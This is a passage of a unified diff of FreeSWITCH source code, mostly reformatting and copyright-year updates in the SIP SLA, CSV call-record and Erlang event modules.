aor, profile->name, mod_sofia_globals.hostname);
|
||||
"aor='%q' and profile_name='%q' and hostname='%q'", aor, profile->name, mod_sofia_globals.hostname);
|
||||
|
||||
helper.profile = profile;
|
||||
helper.payload = sip->sip_payload->pl_data; /* could just send the WHOLE payload. you'd get the type that way. */
|
||||
helper.payload = sip->sip_payload->pl_data; /* could just send the WHOLE payload. you'd get the type that way. */
|
||||
|
||||
/* which mutex if any is correct to hold in this callback? XXX MTK FIXME */
|
||||
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, sofia_sla_sub_callback, &helper);
|
||||
@@ -360,7 +353,7 @@ static int sofia_sla_sub_callback(void *pArg, int argc, char **argv, char **colu
|
||||
char *route_uri = NULL;
|
||||
char *xml_fixup = NULL;
|
||||
char *fixup = NULL;
|
||||
nh = nua_handle_by_call_id(helper->profile->nua, call_id); /* that's all you need to find the subscription's nh */
|
||||
nh = nua_handle_by_call_id(helper->profile->nua, call_id); /* that's all you need to find the subscription's nh */
|
||||
|
||||
if (nh) {
|
||||
|
||||
@@ -384,24 +377,21 @@ static int sofia_sla_sub_callback(void *pArg, int argc, char **argv, char **colu
|
||||
}
|
||||
|
||||
if (helper->profile->extsipip) {
|
||||
if (sofia_glue_check_nat(helper->profile, network_ip)) {
|
||||
if (sofia_glue_check_nat(helper->profile, network_ip)) {
|
||||
fixup = switch_string_replace(helper->payload, helper->profile->sipip, helper->profile->extsipip);
|
||||
} else {
|
||||
} else {
|
||||
fixup = switch_string_replace(helper->payload, helper->profile->extsipip, helper->profile->sipip);
|
||||
}
|
||||
xml_fixup = fixup;
|
||||
} else {
|
||||
xml_fixup = helper->payload;
|
||||
}
|
||||
|
||||
nua_notify(nh,
|
||||
SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* XXX MTK FIXME - this is totally fake calculation */
|
||||
TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
|
||||
SIPTAG_CONTENT_TYPE_STR("application/dialog-info+xml"), /* could've just kept the type from the payload */
|
||||
SIPTAG_PAYLOAD_STR(xml_fixup),
|
||||
TAG_END());
|
||||
|
||||
nua_notify(nh, SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* XXX MTK FIXME - this is totally fake calculation */
|
||||
TAG_IF(route_uri, NUTAG_PROXY(route_uri)), SIPTAG_CONTENT_TYPE_STR("application/dialog-info+xml"), /* could've just kept the type from the payload */
|
||||
SIPTAG_PAYLOAD_STR(xml_fixup), TAG_END());
|
||||
switch_safe_free(route_uri);
|
||||
if (fixup && fixup != helper->payload) {
|
||||
if (fixup && fixup != helper->payload) {
|
||||
free(fixup);
|
||||
}
|
||||
}
|
||||
|
||||
+1241
-1346
File diff suppressed because it is too large.
Load diff
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -161,7 +161,7 @@ static void write_cdr(const char *path, const char *log_line)
|
||||
do_rotate(fd);
|
||||
switch_yield(250000);
|
||||
}
|
||||
|
||||
|
||||
if (bytes_in > 0) {
|
||||
fd->bytes += bytes_in;
|
||||
}
|
||||
@@ -215,15 +215,16 @@ static switch_status_t my_on_reporting(switch_core_session_t *session)
|
||||
free(buf);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
g_template_str = (const char *) switch_core_hash_find(globals.template_hash, globals.default_template);
|
||||
|
||||
if ((accountcode = switch_channel_get_variable(channel, "ACCOUNTCODE"))) {
|
||||
a_template_str = (const char *) switch_core_hash_find(globals.template_hash, accountcode);
|
||||
}
|
||||
|
||||
|
||||
if (!g_template_str) {
|
||||
g_template_str = "\"${accountcode}\",\"${caller_id_number}\",\"${destination_number}\",\"${context}\",\"${caller_id}\",\"${channel_name}\",\"${bridge_channel}\",\"${last_app}\",\"${last_arg}\",\"${start_stamp}\",\"${answer_stamp}\",\"${end_stamp}\",\"${duration}\",\"${billsec}\",\"${hangup_cause}\",\"${amaflags}\",\"${uuid}\",\"${userfield}\";";
|
||||
g_template_str =
|
||||
"\"${accountcode}\",\"${caller_id_number}\",\"${destination_number}\",\"${context}\",\"${caller_id}\",\"${channel_name}\",\"${bridge_channel}\",\"${last_app}\",\"${last_arg}\",\"${start_stamp}\",\"${answer_stamp}\",\"${end_stamp}\",\"${duration}\",\"${billsec}\",\"${hangup_cause}\",\"${amaflags}\",\"${uuid}\",\"${userfield}\";";
|
||||
}
|
||||
|
||||
if (!a_template_str) {
|
||||
@@ -295,11 +296,11 @@ static switch_state_handler_table_t state_handlers = {
|
||||
/*.on_hangup */ NULL,
|
||||
/*.on_exchange_media */ NULL,
|
||||
/*.on_soft_execute */ NULL,
|
||||
/*.on_consume_media*/ NULL,
|
||||
/*.on_hibernate*/ NULL,
|
||||
/*.on_reset*/ NULL,
|
||||
/*.on_park*/ NULL,
|
||||
/*.on_reporting*/ my_on_reporting
|
||||
/*.on_consume_media */ NULL,
|
||||
/*.on_hibernate */ NULL,
|
||||
/*.on_reset */ NULL,
|
||||
/*.on_park */ NULL,
|
||||
/*.on_reporting */ my_on_reporting
|
||||
};
|
||||
|
||||
|
||||
@@ -315,11 +316,11 @@ static switch_status_t load_config(switch_memory_pool_t *pool)
|
||||
switch_core_hash_init(&globals.template_hash, pool);
|
||||
|
||||
globals.pool = pool;
|
||||
|
||||
|
||||
switch_core_hash_insert(globals.template_hash, "default", default_template);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding default template.\n");
|
||||
globals.legs = CDR_LEG_A;
|
||||
|
||||
|
||||
if ((xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
|
||||
|
||||
if ((settings = switch_xml_child(cfg, "settings"))) {
|
||||
@@ -344,9 +345,9 @@ static switch_status_t load_config(switch_memory_pool_t *pool)
|
||||
globals.rotate = switch_true(val);
|
||||
} else if (!strcasecmp(var, "default-template")) {
|
||||
globals.default_template = switch_core_strdup(pool, val);
|
||||
} else if (!strcasecmp(var, "master-file-only")) {
|
||||
globals.masterfileonly = switch_true(val);
|
||||
}
|
||||
} else if (!strcasecmp(var, "master-file-only")) {
|
||||
globals.masterfileonly = switch_true(val);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -413,7 +414,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_cdr_csv_load)
|
||||
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cdr_csv_shutdown)
|
||||
{
|
||||
|
||||
globals.shutdown = 1;
|
||||
globals.shutdown = 1;
|
||||
switch_event_unbind_callback(event_handler);
|
||||
switch_core_remove_state_handler(&state_handlers);
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -54,23 +54,24 @@
|
||||
} while (0)
|
||||
|
||||
|
||||
void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to) {
|
||||
void ei_link(listener_t *listener, erlang_pid * from, erlang_pid * to)
|
||||
{
|
||||
char msgbuf[2048];
|
||||
char *s;
|
||||
int index = 0;
|
||||
int ret;
|
||||
|
||||
index = 5; /* max sizes: */
|
||||
ei_encode_version(msgbuf,&index); /* 1 */
|
||||
ei_encode_tuple_header(msgbuf,&index,3);
|
||||
ei_encode_long(msgbuf,&index,ERL_LINK);
|
||||
ei_encode_pid(msgbuf,&index,from); /* 268 */
|
||||
ei_encode_pid(msgbuf,&index,to); /* 268 */
|
||||
index = 5; /* max sizes: */
|
||||
ei_encode_version(msgbuf, &index); /* 1 */
|
||||
ei_encode_tuple_header(msgbuf, &index, 3);
|
||||
ei_encode_long(msgbuf, &index, ERL_LINK);
|
||||
ei_encode_pid(msgbuf, &index, from); /* 268 */
|
||||
ei_encode_pid(msgbuf, &index, to); /* 268 */
|
||||
|
||||
/* 5 byte header missing */
|
||||
s = msgbuf;
|
||||
put32be(s, index - 4); /* 4 */
|
||||
put8(s, ERL_PASS_THROUGH); /* 1 */
|
||||
put32be(s, index - 4); /* 4 */
|
||||
put8(s, ERL_PASS_THROUGH); /* 1 */
|
||||
/* sum: 542 */
|
||||
|
||||
switch_mutex_lock(listener->sock_mutex);
|
||||
@@ -82,7 +83,7 @@ void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to) {
|
||||
switch_mutex_unlock(listener->sock_mutex);
|
||||
}
|
||||
|
||||
void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event)
|
||||
void ei_encode_switch_event_headers(ei_x_buff * ebuf, switch_event_t *event)
|
||||
{
|
||||
int i;
|
||||
char *uuid = switch_event_get_header(event, "unique-id");
|
||||
@@ -94,7 +95,7 @@ void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event)
|
||||
if (event->body)
|
||||
i++;
|
||||
|
||||
ei_x_encode_list_header(ebuf, i+1);
|
||||
ei_x_encode_list_header(ebuf, i + 1);
|
||||
|
||||
if (uuid) {
|
||||
_ei_x_encode_string(ebuf, switch_event_get_header(event, "unique-id"));
|
||||
@@ -118,7 +119,7 @@ void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event)
|
||||
}
|
||||
|
||||
|
||||
void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag)
|
||||
void ei_encode_switch_event_tag(ei_x_buff * ebuf, switch_event_t *event, char *tag)
|
||||
{
|
||||
|
||||
ei_x_encode_tuple_header(ebuf, 2);
|
||||
@@ -130,7 +131,7 @@ void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *ta
|
||||
calls module:function(Ref). The response comes back as
|
||||
{rex, {Ref, Pid}}
|
||||
*/
|
||||
int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function)
|
||||
int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function)
|
||||
{
|
||||
ei_x_buff buf;
|
||||
ei_x_new(&buf);
|
||||
@@ -145,7 +146,7 @@ int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *mo
|
||||
}
|
||||
|
||||
/* function to spawn a process on a remote node */
|
||||
int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv)
|
||||
int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function, int argc, char **argv)
|
||||
{
|
||||
int i;
|
||||
ei_x_buff buf;
|
||||
@@ -154,7 +155,7 @@ int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, c
|
||||
ei_x_encode_tuple_header(&buf, 3);
|
||||
ei_x_encode_atom(&buf, "$gen_call");
|
||||
ei_x_encode_tuple_header(&buf, 2);
|
||||
ei_x_encode_pid(&buf, ei_self(ec));
|
||||
ei_x_encode_pid(&buf, ei_self(ec));
|
||||
ei_init_ref(ec, ref);
|
||||
ei_x_encode_ref(&buf, ref);
|
||||
ei_x_encode_tuple_header(&buf, 5);
|
||||
@@ -165,18 +166,18 @@ int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, c
|
||||
/* argument list */
|
||||
if (argc < 0) {
|
||||
ei_x_encode_list_header(&buf, argc);
|
||||
for(i = 0; i < argc && argv[i]; i++) {
|
||||
for (i = 0; i < argc && argv[i]; i++) {
|
||||
ei_x_encode_atom(&buf, argv[i]);
|
||||
}
|
||||
}
|
||||
|
||||
ei_x_encode_empty_list(&buf);
|
||||
|
||||
/*if (i != argc - 1) {*/
|
||||
/* horked argument list */
|
||||
/*}*/
|
||||
/*if (i != argc - 1) { */
|
||||
/* horked argument list */
|
||||
/*} */
|
||||
|
||||
ei_x_encode_pid(&buf, ei_self(ec)); /* should really be a valid group leader */
|
||||
ei_x_encode_pid(&buf, ei_self(ec)); /* should really be a valid group leader */
|
||||
|
||||
#ifdef EI_DEBUG
|
||||
ei_x_print_reg_msg(&buf, "net_kernel", 1);
|
||||
@@ -191,11 +192,11 @@ int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, c
|
||||
#define MAX_REFERENCE (1 << _REF_NUM_SIZE)
|
||||
|
||||
/* function to fill in an erlang reference struct */
|
||||
void ei_init_ref(ei_cnode *ec, erlang_ref *ref)
|
||||
void ei_init_ref(ei_cnode * ec, erlang_ref * ref)
|
||||
{
|
||||
memset(ref, 0, sizeof(*ref)); /* zero out the struct */
|
||||
memset(ref, 0, sizeof(*ref)); /* zero out the struct */
|
||||
snprintf(ref->node, MAXATOMLEN, "%s", ec->thisnodename);
|
||||
|
||||
|
||||
switch_mutex_lock(globals.ref_mutex);
|
||||
globals.reference0++;
|
||||
if (globals.reference0 >= MAX_REFERENCE) {
|
||||
@@ -212,12 +213,12 @@ void ei_init_ref(ei_cnode *ec, erlang_ref *ref)
|
||||
|
||||
switch_mutex_unlock(globals.ref_mutex);
|
||||
|
||||
ref->creation = 1; /* why is this 1 */
|
||||
ref->len = 3; /* why is this 3 */
|
||||
ref->creation = 1; /* why is this 1 */
|
||||
ref->len = 3; /* why is this 3 */
|
||||
}
|
||||
|
||||
|
||||
void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send)
|
||||
void ei_x_print_reg_msg(ei_x_buff * buf, char *dest, int send)
|
||||
{
|
||||
char *mbuf = NULL;
|
||||
int i = 1;
|
||||
@@ -233,7 +234,7 @@ void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send)
|
||||
}
|
||||
|
||||
|
||||
void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send)
|
||||
void ei_x_print_msg(ei_x_buff * buf, erlang_pid * pid, int send)
|
||||
{
|
||||
char *pbuf = NULL;
|
||||
int i = 0;
|
||||
@@ -241,7 +242,7 @@ void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send)
|
||||
|
||||
ei_x_new(&pidbuf);
|
||||
ei_x_encode_pid(&pidbuf, pid);
|
||||
|
||||
|
||||
ei_s_print_term(&pbuf, pidbuf.buff, &i);
|
||||
|
||||
ei_x_print_reg_msg(buf, pbuf, send);
|
||||
@@ -249,7 +250,7 @@ void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send)
|
||||
}
|
||||
|
||||
|
||||
int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf)
|
||||
int ei_sendto(ei_cnode * ec, int fd, struct erlang_process *process, ei_x_buff * buf)
|
||||
{
|
||||
int ret;
|
||||
if (process->type == ERLANG_PID) {
|
||||
@@ -273,19 +274,16 @@ int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *b
|
||||
|
||||
|
||||
/* convert an erlang reference to some kind of hashed string so we can store it as a hash key */
|
||||
void ei_hash_ref(erlang_ref *ref, char *output)
|
||||
void ei_hash_ref(erlang_ref * ref, char *output)
|
||||
{
|
||||
/* very lazy */
|
||||
sprintf(output, "%d.%d.%d@%s", ref->n[0], ref->n[1], ref->n[2], ref->node);
|
||||
}
|
||||
|
||||
|
||||
int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2)
|
||||
int ei_compare_pids(erlang_pid * pid1, erlang_pid * pid2)
|
||||
{
|
||||
if ((!strcmp(pid1->node, pid2->node)) &&
|
||||
pid1->creation == pid2->creation &&
|
||||
pid1->num == pid2->num &&
|
||||
pid1->serial == pid2->serial) {
|
||||
if ((!strcmp(pid1->node, pid2->node)) && pid1->creation == pid2->creation && pid1->num == pid2->num && pid1->serial == pid2->serial) {
|
||||
return 0;
|
||||
} else {
|
||||
return 1;
|
||||
@@ -293,20 +291,22 @@ int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2)
|
||||
}
|
||||
|
||||
|
||||
int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst) {
|
||||
int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst)
|
||||
{
|
||||
int type, size, res;
|
||||
long len;
|
||||
|
||||
ei_get_type(buf, index, &type, &size);
|
||||
|
||||
if (type != ERL_STRING_EXT && type != ERL_BINARY_EXT) {
|
||||
return -1;
|
||||
return -1;
|
||||
} else if (size > maxlen) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested decoding of %s with size %d into a buffer of size %d\n", type == ERL_BINARY_EXT ? "binary" : "string", size, maxlen);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested decoding of %s with size %d into a buffer of size %d\n",
|
||||
type == ERL_BINARY_EXT ? "binary" : "string", size, maxlen);
|
||||
return -1;
|
||||
} else if (type == ERL_BINARY_EXT) {
|
||||
res = ei_decode_binary(buf, index, dst, &len);
|
||||
dst[len] = '\0'; /* binaries aren't null terminated */
|
||||
dst[len] = '\0'; /* binaries aren't null terminated */
|
||||
} else {
|
||||
res = ei_decode_string(buf, index, dst);
|
||||
}
|
||||
@@ -320,12 +320,12 @@ switch_status_t initialise_ei(struct ei_cnode_s *ec)
|
||||
switch_status_t rv;
|
||||
struct sockaddr_in server_addr;
|
||||
struct hostent *nodehost;
|
||||
char thishostname[EI_MAXHOSTNAMELEN+1] = "";
|
||||
char thisnodename[MAXNODELEN+1];
|
||||
char thishostname[EI_MAXHOSTNAMELEN + 1] = "";
|
||||
char thisnodename[MAXNODELEN + 1];
|
||||
|
||||
/* zero out the struct before we use it */
|
||||
memset(&server_addr, 0, sizeof(server_addr));
|
||||
|
||||
|
||||
/* convert the configured IP to network byte order, handing errors */
|
||||
rv = switch_inet_pton(AF_INET, prefs.ip, &server_addr.sin_addr.s_addr);
|
||||
if (rv == 0) {
|
||||
@@ -335,18 +335,18 @@ switch_status_t initialise_ei(struct ei_cnode_s *ec)
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error when parsing ip address %s : %s\n", prefs.ip, strerror(errno));
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
|
||||
/* set the address family and port */
|
||||
server_addr.sin_family = AF_INET;
|
||||
server_addr.sin_port = htons(prefs.port);
|
||||
|
||||
|
||||
#ifdef WIN32
|
||||
if ((nodehost = gethostbyaddr((const char*)&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
|
||||
if ((nodehost = gethostbyaddr((const char *) &server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
|
||||
#else
|
||||
if ((nodehost = gethostbyaddr((const char*)&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
|
||||
if ((nodehost = gethostbyaddr((const char *) &server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
|
||||
#endif
|
||||
memcpy(thishostname, nodehost->h_name, EI_MAXHOSTNAMELEN);
|
||||
|
||||
|
||||
if (zstr_buf(thishostname)) {
|
||||
gethostname(thishostname, EI_MAXHOSTNAMELEN);
|
||||
}
|
||||
@@ -357,11 +357,11 @@ switch_status_t initialise_ei(struct ei_cnode_s *ec)
|
||||
*off = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
snprintf(thisnodename, MAXNODELEN+1, "%s@%s", prefs.nodename, thishostname);
|
||||
|
||||
|
||||
snprintf(thisnodename, MAXNODELEN + 1, "%s@%s", prefs.nodename, thishostname);
|
||||
|
||||
/* init the ei stuff */
|
||||
if (ei_connect_xinit(ec, thishostname, prefs.nodename, thisnodename, (Erl_IpAddr)(&server_addr.sin_addr.s_addr), prefs.cookie, 0) < 0) {
|
||||
if (ei_connect_xinit(ec, thishostname, prefs.nodename, thisnodename, (Erl_IpAddr) (&server_addr.sin_addr.s_addr), prefs.cookie, 0) < 0) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to init ei connection\n");
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -37,7 +37,7 @@
|
||||
|
||||
static char *MARKER = "1";
|
||||
|
||||
static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
|
||||
static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf);
|
||||
|
||||
static void *SWITCH_THREAD_FUNC api_exec(switch_thread_t *thread, void *obj)
|
||||
{
|
||||
@@ -131,7 +131,7 @@ static void *SWITCH_THREAD_FUNC api_exec(switch_thread_t *thread, void *obj)
|
||||
} else {
|
||||
ei_x_encode_atom(&rbuf, "error");
|
||||
}
|
||||
|
||||
|
||||
_ei_x_encode_string(&rbuf, reply);
|
||||
|
||||
|
||||
@@ -163,7 +163,7 @@ static void *SWITCH_THREAD_FUNC api_exec(switch_thread_t *thread, void *obj)
|
||||
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
|
||||
void *p;
|
||||
@@ -207,26 +207,24 @@ static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff *
|
||||
ei_x_encode_atom(rbuf, "invalid_uuid");
|
||||
}
|
||||
|
||||
/*switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf);*/
|
||||
/*switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf); */
|
||||
switch_safe_free(nbuf->buff);
|
||||
switch_safe_free(nbuf);
|
||||
}
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
switch_log_level_t ltype = SWITCH_LOG_DEBUG;
|
||||
char loglevelstr[MAXATOMLEN];
|
||||
if (arity != 2 ||
|
||||
ei_decode_atom(buf->buff, &buf->index, loglevelstr)) {
|
||||
if (arity != 2 || ei_decode_atom(buf->buff, &buf->index, loglevelstr)) {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
ltype = switch_log_str2level(loglevelstr);
|
||||
|
||||
|
||||
if (ltype && ltype != SWITCH_LOG_INVALID) {
|
||||
listener->level = ltype;
|
||||
ei_x_encode_atom(rbuf, "ok");
|
||||
@@ -239,7 +237,7 @@ static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity,
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
char atom[MAXATOMLEN];
|
||||
|
||||
@@ -247,19 +245,18 @@ static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_bu
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
int custom = 0;
|
||||
switch_event_types_t type;
|
||||
int i = 0;
|
||||
|
||||
|
||||
if (!switch_test_flag(listener, LFLAG_EVENTS)) {
|
||||
switch_set_flag_locked(listener, LFLAG_EVENTS);
|
||||
}
|
||||
|
||||
|
||||
for (i = 1; i < arity; i++) {
|
||||
if (!ei_decode_atom(buf->buff, &buf->index, atom)) {
|
||||
|
||||
|
||||
if (custom) {
|
||||
switch_core_hash_insert(listener->event_hash, atom, MARKER);
|
||||
} else if (switch_name_event(atom, &type) == SWITCH_STATUS_SUCCESS) {
|
||||
@@ -277,7 +274,7 @@ static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_bu
|
||||
if (type == SWITCH_EVENT_CUSTOM) {
|
||||
custom++;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "enable event %s\n", atom);
|
||||
}
|
||||
@@ -287,7 +284,7 @@ static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_bu
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
char atom[MAXATOMLEN];
|
||||
|
||||
@@ -295,20 +292,19 @@ static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
int custom = 0;
|
||||
int i = 0;
|
||||
switch_event_types_t type;
|
||||
|
||||
|
||||
for (i = 1; i < arity; i++) {
|
||||
if (!ei_decode_atom(buf->buff, &buf->index, atom)) {
|
||||
|
||||
|
||||
if (custom) {
|
||||
switch_core_hash_delete(listener->event_hash, atom);
|
||||
} else if (switch_name_event(atom, &type) == SWITCH_STATUS_SUCCESS) {
|
||||
uint32_t x = 0;
|
||||
|
||||
|
||||
if (type == SWITCH_EVENT_CUSTOM) {
|
||||
custom++;
|
||||
} else if (type == SWITCH_EVENT_ALL) {
|
||||
@@ -332,19 +328,16 @@ static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_api(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_api(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
char api_cmd[MAXATOMLEN];
|
||||
char arg[1024];
|
||||
if (arity < 3 ||
|
||||
ei_decode_atom(buf->buff, &buf->index, api_cmd) ||
|
||||
ei_decode_string(buf->buff, &buf->index, arg)) {
|
||||
if (arity < 3 || ei_decode_atom(buf->buff, &buf->index, api_cmd) || ei_decode_string(buf->buff, &buf->index, arg)) {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
struct api_command_struct acs = { 0 };
|
||||
acs.listener = listener;
|
||||
acs.api_cmd = api_cmd;
|
||||
@@ -357,24 +350,21 @@ static switch_status_t handle_msg_api(listener_t *listener, erlang_msg *msg, int
|
||||
}
|
||||
}
|
||||
|
||||
static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
|
||||
static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
|
||||
{
|
||||
char api_cmd[MAXATOMLEN];
|
||||
char arg[1024];
|
||||
if (arity < 3 ||
|
||||
ei_decode_atom(buf->buff, &buf->index, api_cmd) ||
|
||||
ei_decode_string(buf->buff, &buf->index, arg)) {
|
||||
if (arity < 3 || ei_decode_atom(buf->buff, &buf->index, api_cmd) || ei_decode_string(buf->buff, &buf->index, arg)) {
|
||||
ei_x_encode_tuple_header(rbuf, 2);
|
||||
ei_x_encode_atom(rbuf, "error");
|
||||
ei_x_encode_atom(rbuf, "badarg");
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
struct api_command_struct *acs = NULL;
|
||||
switch_memory_pool_t *pool;
|
||||
switch_thread_t *thread;
|
||||
switch_threadattr_t *thd_attr = NULL;
|
||||
switch_uuid_t uuid;
|
||||
|
||||
|
||||
switch_core_new_memory_pool(&pool);
|
||||
acs = switch_core_alloc(pool, sizeof(*acs));
|
||||
switch_assert(acs);
|
||||
@@ -384,15 +374,15 @@ static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg *msg, i
|
||||
acs->arg = switch_core_strdup(acs->pool, arg);
|
||||
acs->bg = 1;
|
||||
acs->pid = msg->from;
|
||||
|
||||
|
||||
switch_threadattr_create(&thd_attr, acs->pool);
|
||||
switch_threadattr_detach_set(thd_attr, 1);
|
||||
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
|
||||
|
||||
|
||||
